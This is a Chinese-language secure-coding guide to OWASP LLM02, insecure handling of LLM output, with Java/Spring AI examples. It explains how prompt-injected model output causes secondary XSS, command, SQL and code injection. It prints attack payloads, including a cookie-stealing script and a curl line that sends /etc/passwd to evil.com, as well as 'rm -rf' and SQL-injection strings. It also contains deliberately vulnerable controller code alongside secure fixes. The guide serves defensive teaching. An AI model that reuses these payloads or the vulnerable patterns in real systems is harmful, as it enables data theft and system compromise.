最后更新:2026-04-18
LLM 不安全输出处理(Insecure LLM Output Handling)指应用程序对大语言模型(LLM)生成的输出未进行充分验证和净化,就直接将其传递给下游系统或用户界面。由于 LLM 输出可以被提示词注入等方式操控,未经验证的输出可能导致 XSS、命令注入、SQL 注入等二次注入攻击。
与 Prompt 注入(LLM01)不同,本漏洞关注的是对 LLM 输出的不当处理,而非对 LLM 输入的操纵。
| 维度 | 评级 |
|---|---|
| OWASP LLM Top 10 | LLM02 - Insecure Output Handling |
| CWE | CWE-79 / CWE-94 |
| 严重程度 | 高危 |
攻击者通过 Prompt 注入使 LLM 生成包含恶意 JavaScript 的 HTML 内容,应用未转义输出导致 XSS。
用户输入:请生成一个用户欢迎页面,用户名是 <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
LLM 输出:<h1>欢迎,<script>fetch('https://evil.com/steal?c='+document.cookie)</script></h1>
LLM 生成的输出被直接传递给系统命令执行接口,导致命令注入。
LLM 输出被传递给 Runtime.exec():
文件名:test; rm -rf /tmp
LLM 生成的查询参数被直接拼接到 SQL 语句中,导致 SQL 注入。
LLM 生成的搜索条件:' OR '1'='1' --
LLM 生成的代码片段被直接传入 ScriptEngine、GroovyShell 等执行引擎,导致任意代码执行。
LLM 生成代码并传递给 eval():
Runtime.getRuntime().exec("calc")
// [VULNERABLE] Spring AI 将 LLM 输出直接返回前端渲染
import org.springframework.ai.chat.client.ChatClient;
import org.springframework.web.bind.annotation.*;
@RestController
public class LlmOutputVulnerableController {
private final ChatClient chatClient;
// [VULNERABLE] 此方法存在不安全输出处理漏洞,原因:LLM 输出未编码直接返回
@GetMapping("/chat")
public String chat(@RequestParam String message) {
String response = chatClient.prompt()
.user(message)
.call()
.content();
// 漏洞:LLM 输出可能包含恶意 HTML/JS,前端使用 v-html 或 th:utext 渲染
return response;
}
}
// [VULNERABLE] LLM 生成文件名后直接用于系统命令
import org.springframework.ai.chat.client.ChatClient;
public class LlmOutputVulnerableService {
private final ChatClient chatClient;
// [VULNERABLE] 此方法存在不安全输出处理漏洞,原因:LLM 输出用于系统命令
public String generateReport(String description) {
String filename = chatClient.prompt()
.user("根据描述生成报告文件名:" + description)
.call()
.content()
.trim();
// 漏洞:LLM 生成的文件名可能包含命令注入 payload
// 如 "report; curl https://evil.com/exfil?data=$(cat /etc/passwd)"
try {
Process process = Runtime.getRuntime().exec("generate-report " + filename);
return "Report generated: " + filename;
} catch (IOException e) {
return "Error: " + e.getMessage();
}
}
}
// [SECURE] 对 LLM 输出进行严格验证和编码
import org.springframework.ai.chat.client.ChatClient;
import org.springframework.web.bind.annotation.*;
import org.owasp.encoder.Encode;
@RestController
public class LlmOutputSecureController {
private final ChatClient chatClient;
// [SECURE] 修复了不安全输出处理漏洞,修复方式:输出编码 + 内容安全策略
@GetMapping("/chat")
public ChatResponse chat(@RequestParam String message) {
String response = chatClient.prompt()
.user(message)
.call()
.content();
// 安全 1:对 LLM 输出进行 HTML 编码,防止 XSS
String safeResponse = Encode.forHtmlContent(response);
// 安全 2:返回结构化响应,前端使用 textContent 而非 innerHTML
return new ChatResponse(safeResponse);
}
// [SECURE] LLM 输出用于系统操作时进行严格验证
public String generateReport(String description) {
String filename = chatClient.prompt()
.user("根据描述生成报告文件名,只返回文件名:" + description)
.call()
.content()
.trim();
// 安全 3:使用白名单正则验证 LLM 输出格式
if (!filename.matches("^[a-zA-Z0-9_\\-]{1,64}\\.pdf$")) {
throw new IllegalArgumentException("Invalid filename generated");
}
// 安全 4:使用参数化 ProcessBuilder 避免 shell 注入
ProcessBuilder pb = new ProcessBuilder("generate-report", filename);
try {
pb.start();
return "Report generated: " + filename;
} catch (IOException e) {
throw new RuntimeException("Report generation failed", e);
}
}
}
record ChatResponse(String content) {}
th:utext、Runtime.exec()、ScriptEngine.eval()、SQL 拼接